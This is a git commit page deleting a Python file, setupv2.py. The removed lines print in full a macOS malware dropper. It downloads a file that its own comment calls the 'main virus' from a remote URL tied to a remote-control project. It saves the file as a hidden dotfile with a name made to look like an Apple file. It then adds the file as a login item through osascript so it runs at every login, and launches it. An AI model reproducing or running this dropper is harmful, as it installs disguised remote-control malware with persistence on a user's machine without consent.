summaryrefslogtreecommitdiff
path: root/setupv2.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-16 09:57:05 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-16 09:57:05 +0800
commitb167e43a2fafddc77ccc44075e9166f756446902 (patch)
tree606770d2a01b380aa8de14352ee76ca52756a476 /setupv2.py
parent96b5b7e79ae8c09dad178794880acabec5a71f78 (diff)
removed
Diffstat (limited to 'setupv2.py')
-rw-r--r--setupv2.py22
1 files changed, 0 insertions, 22 deletions
diff --git a/setupv2.py b/setupv2.py
deleted file mode 100644
index 6644560..0000000
--- a/setupv2.py
+++ /dev/null
@@ -1,22 +0,0 @@
-from requests import get
-from os.path import expanduser
-from os import remove
-from subprocess import Popen as subproc
-from os import system as cmd
-
-filename = "com.apple.com.user.core"
-localfile = f"{expanduser('~')}/.{filename}"
-# download main virus
-url = "https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main"
-tb = 0
-response = get(url)
-if response.status_code == 200:
- with open(localfile, 'wb') as f:
- for chunk in response.iter_content(chunk_size=1024):
- if chunk:
- tb += 1024
- f.write(chunk)
-
-cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}'")
-
-subproc([localfile])